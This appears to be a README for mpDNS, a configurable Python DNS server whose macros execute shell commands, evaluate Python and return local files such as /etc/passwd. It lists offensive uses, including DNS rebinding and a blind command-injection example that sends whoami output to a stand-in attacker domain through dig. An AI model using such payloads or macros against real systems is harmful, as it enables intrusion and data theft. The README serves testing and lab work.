Mpdns - Multi-purpose Dns Server

[✨ DeeZNuTz]

Simple, configurable "clone & run" DNS Server with multiple useful features

• Should work on Python 2 and 3
• names.db -> holds all custom records (see examples)
• Simple wildcards like *.example.com
• Catch unicode dns requests
• Custom actions aka macro:
  • {{shellexec::dig google.com +short}} -> Execute shell command and respond with result
  • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Evaluate your python code
  • {{file::/etc/passwd}} -> Respond with localfile contents
  • {{resolve}} -> Forward DNS request to local system DNS
  • {{resolve::example.com}} -> Resolve example.com instead of original record
  • {{echo}} -> Response back with peer address
  • {{shellexec::echo %PEER% %QUERY%}} -> Use of variables
• Supported query types: A, CNAME, TXT
• Update names.db records without restart/reload with ./mpdns.py -e

Heavily based on https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
Usage:

Code:
./mpdns.py

• Edit names.db with ./mpdns.py -e no restart required

Offensive and Defensive purposes:

1. You need a light-weight simple dns-server solution for testing purposes (NOT PRODUCTION!)
2. Test for various blind injection vulnerabilities in web applications (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
3. Easily infiltrate 65K of data in one TXT query
4. DNS Rebinding
5. Execute custom macro action on specific query (useful in malware-analysis lab environments)
6. And lots more. It is highly customizable.

Installing

Code:
git clone https://github.com/nopernik/mpDNS

Limitations

1. Due to UDP Datagram limit of 65535 bytes, DNS response is limited to approx ~65200 bytes
   this limitation applies to TXT records which are splitted into chunks of 256 bytes until response reaches maximum allowed 65200b
   therefore TXT record with macro {{file:localfile.txt}} is limited to 65200 bytes.
2. No support for nested wildcards test.*.example.com
3. No support for custom DNS server resolver in {{resolve::example.com}} macro
4. TTL always set to 0

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